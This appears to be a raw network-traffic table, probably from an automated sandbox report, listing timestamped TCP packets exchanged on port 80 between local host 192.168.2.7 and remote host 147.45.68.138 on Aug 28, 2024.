Aug 28, 2024 22:55:59.405706882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.405740023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.405752897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.405764103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.405767918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.405775070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.405786037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.405793905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.405800104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.405803919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.405813932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.405853033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.406188965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.406204939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.406233072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.406238079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.406265974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.406266928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.406286001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.406296968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.406303883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.406313896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.406326056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.406335115 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.406337976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.406347990 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.406369925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.406382084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407239914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407293081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407303095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407313108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407342911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407361031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407371998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407382965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407398939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407412052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407413006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407426119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407447100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407466888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407633066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407664061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407669067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407676935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407699108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407712936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407718897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407730103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407740116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407757998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407764912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.407768011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407785892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.407815933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.408358097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.408368111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.408377886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.408395052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.408401012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.408405066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.408416033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.408418894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.408427000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.408454895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.408456087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.408467054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.408469915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.408502102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.408519030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.409790039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.409801006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.409811020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.409821987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.409832954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.409841061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.409843922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.409856081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.409863949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.409868002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.409893990 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.409912109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410398960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410435915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410469055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410480022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410491943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410506964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410520077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410525084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410530090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410540104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410554886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410564899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410593987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410626888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410636902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410646915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410664082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410666943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410675049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410686016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410691977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410696983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410707951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410717010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410717964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410731077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410734892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410742044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410753012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410759926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410765886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410772085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410773039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410782099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410797119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410815954 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410830975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410909891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410919905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410931110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410942078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410948038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410953999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410962105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410965919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410978079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.410990000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.410991907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411006927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411009073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411020994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411031008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411031008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411042929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411051035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411057949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411062002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411072016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411084890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411088943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411099911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411112070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411135912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411173105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411210060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411233902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411246061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411267042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411267996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411278009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411287069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411288977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411305904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411312103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411322117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411322117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411341906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411350965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411369085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411372900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411379099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411401987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411412954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411415100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411423922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411433935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411453962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411477089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411535025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411545992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411556005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411566973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411573887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411591053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411611080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411614895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411649942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411660910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411674023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411683083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411695004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411699057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411706924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411715031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411755085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411756992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411776066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411797047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411824942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411828995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411835909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411845922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411855936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411864996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411866903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.411885023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411885023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.411909103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.412733078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.412753105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.412763119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.412781000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.412813902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.412837029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.412847996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.412858963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.412869930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.412874937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.412882090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.412889004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.412914038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.492758036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.492809057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.492820024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.492819071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.492830992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.492841959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.492856026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.492856026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.492866039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.492870092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.492902994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.493067026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.493112087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.493134022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.493144989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.493176937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.493194103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.493197918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.493208885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.493218899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.493230104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.493233919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.493241072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.493251085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.493277073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494317055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494328022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494338036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494366884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494390011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494404078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494415045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494425058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494436026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494445086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494446039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494458914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494482994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494517088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494528055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494538069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494551897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494565010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494587898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494601011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494612932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494622946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494633913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494635105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494646072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.494654894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494672060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.494693995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.495342016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.495353937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.495363951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.495373964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.495384932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.495390892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.495395899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.495407104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.495409012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.495419025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.495440960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.495456934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.496589899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.496637106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.496639013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.496650934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.496659994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.496674061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.496675968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.496687889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.496695995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.496699095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.496710062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.496730089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.496754885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497399092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497433901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497436047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497446060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497473955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497488976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497489929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497524023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497528076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497540951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497565031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497587919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497600079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497673035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497689009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497698069 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497703075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497706890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497715950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497731924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497749090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497787952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497798920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497816086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497821093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497826099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497843027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497845888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497853994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497864962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497873068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497874975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497890949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497891903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497901917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497911930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497914076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497941017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497942924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.497951984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.497953892 CEST	49731	80	192.168.2.7	147.45.68.138
